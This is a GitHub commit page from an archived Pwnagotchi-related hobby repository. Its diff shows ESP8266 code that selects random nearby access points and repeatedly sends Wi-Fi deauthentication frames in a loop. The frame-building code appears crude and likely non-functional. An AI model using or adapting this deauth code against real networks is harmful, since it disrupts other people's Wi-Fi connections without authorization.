This repository has been archived by the owner on Aug 23, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 14
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #37 from Pwnagotchi-Unofficial/development
1.0.0 merge
- Loading branch information
Showing
10 changed files
with
230 additions
and
143 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,60 +1,41 @@ | ||
// deauth.cpp: handles the deauth of a local ap | ||
// minigotchi.ino: everything implemented here | ||
|
||
#include "pwnagotchi.h" | ||
#include "deauth.h" | ||
#include "packet.h" | ||
|
||
void DeauthAttack::addToWhitelist(const char* bssid) { | ||
whitelist.push_back(bssid); | ||
} | ||
|
||
void DeauthAttack::selectRandomAP() { | ||
int apCount = WiFi.scanNetworks(); | ||
|
||
if (apCount > 0) { | ||
int randomIndex = random(apCount); | ||
randomAP = WiFi.SSID(randomIndex); | ||
Pwnagotchi pwnagotchi; | ||
PacketSender packetSender; | ||
DeauthAttack deauthAttack; | ||
|
||
// check for ap in whitelist | ||
if (std::find(whitelist.begin(), whitelist.end(), randomAP) != whitelist.end()) { | ||
Serial.println("Selected AP is in the whitelist. Skipping deauthentication."); | ||
return; | ||
} | ||
void setup() { | ||
Serial.begin(115200); | ||
deauthAttack.addToWhitelist("SSID"); | ||
Serial.println(); | ||
|
||
Serial.print("Selected random AP: "); | ||
Serial.println(randomAP); | ||
Serial.println("Formatting SPIFFS. This may take a while..."); | ||
if (SPIFFS.format()) { | ||
Serial.println("SPIFFS formatted successfully."); | ||
} else { | ||
Serial.println("No access points found."); | ||
Serial.println("Failed to format SPIFFS."); | ||
} | ||
} | ||
|
||
void DeauthAttack::startRandomDeauth() { | ||
if (randomAP.length() > 0) { | ||
Serial.println("Starting deauthentication attack on the selected AP..."); | ||
// define the attack | ||
if (!running) { | ||
// Deauth, beacon, deauth all stations, probe, output, timeout | ||
start(true, false, false, false, true, 0); | ||
} else { | ||
Serial.println("Attack is already running."); | ||
} | ||
} else { | ||
Serial.println("No access point selected. Use selectRandomAP() first."); | ||
} | ||
} | ||
|
||
void DeauthAttack::start(bool param1, bool param2, bool param3, bool param4, bool param5, int param6) { | ||
running = true; | ||
void loop() { | ||
// get local payload from local pwnagotchi | ||
pwnagotchi.detectPwnagotchi(); | ||
delay(5000); | ||
|
||
// make the deauth frame | ||
String reasonCode = "3"; // means "Deauthenticated because sending STA is leaving (or has left) BSS" | ||
String deauthPacket = "c0:ff:ee:c0:ff:ee" + randomAP + reasonCode; | ||
uint8_t* deauthPacketBytes = (uint8_t*)deauthPacket.c_str(); | ||
int packetSize = deauthPacket.length(); | ||
|
||
// send the deauth 10 times | ||
for (int i = 0; i < 10; ++i) { | ||
wifi_send_pkt_freedom(deauthPacketBytes, packetSize, 0); | ||
delay(100); | ||
// send payload | ||
if (SPIFFS.begin()) { | ||
packetSender.sendJsonPayloadFromFile("packet.json"); | ||
} else { | ||
Serial.println("Failed to mount file, does the file exist?"); | ||
delay(5000); | ||
} | ||
|
||
running = false; | ||
// deauth a random ap | ||
deauthAttack.selectRandomAP(); | ||
deauthAttack.startRandomDeauth(); | ||
delay(5000); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file was deleted.
Oops, something went wrong.
Oops, something went wrong.